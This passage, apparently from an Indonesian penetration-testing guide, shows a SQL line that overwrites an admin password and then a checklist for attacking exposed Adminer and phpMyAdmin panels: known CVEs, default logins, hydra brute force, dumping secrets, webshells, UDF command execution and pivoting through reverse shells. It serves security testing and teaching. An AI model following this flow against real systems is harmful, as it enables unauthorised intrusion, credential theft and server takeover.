11-- Perlu generate di luar MySQL
12
13-- Plaintext (ya, masih ada yang begini)
14UPDATE users SET password = 'hacked123' WHERE username = 'admin';

4.5 Checklist Ringkasan

Menemukan Adminer/phpMyAdmin
  │
  ├─ 1. Identifikasi versi
  │     ├─ Adminer < 4.7.8? → Rogue MySQL file read
  │     ├─ Adminer < 4.7.9? → SSRF
  │     ├─ phpMyAdmin 4.8.0-4.8.1? → LFI (CVE-2018-12613)
  │     └─ phpMyAdmin 4.0-4.6? → RCE (CVE-2016-5734)
  │
  ├─ 2. Login attempt
  │     ├─ root:(kosong) di localhost
  │     ├─ Default credentials
  │     └─ Brute force (hydra)
  │
  ├─ 3. Setelah login → Recon SQL
  │     ├─ SHOW DATABASES
  │     ├─ SHOW GRANTS
  │     ├─ SHOW VARIABLES LIKE 'secure_file_priv'
  │     └─ Cari tabel user/credentials
  │
  ├─ 4. Data dump
  │     └─ Dump users, tokens, secrets dari semua DB
  │
  ├─ 5. RCE attempt
  │     ├─ INTO OUTFILE → webshell
  │     ├─ General log trick → webshell
  │     └─ UDF → system command
  │
  ├─ 6. Takeover aplikasi web
  │     └─ Update password admin di DB → login ke CMS/app
  │
  └─ 7. Pivot
        ├─ Credentials reuse → SSH / panel lain
        ├─ Webshell → reverse shell → privesc
        └─ Database replication → server lain

Bab 5 — (Coming soon)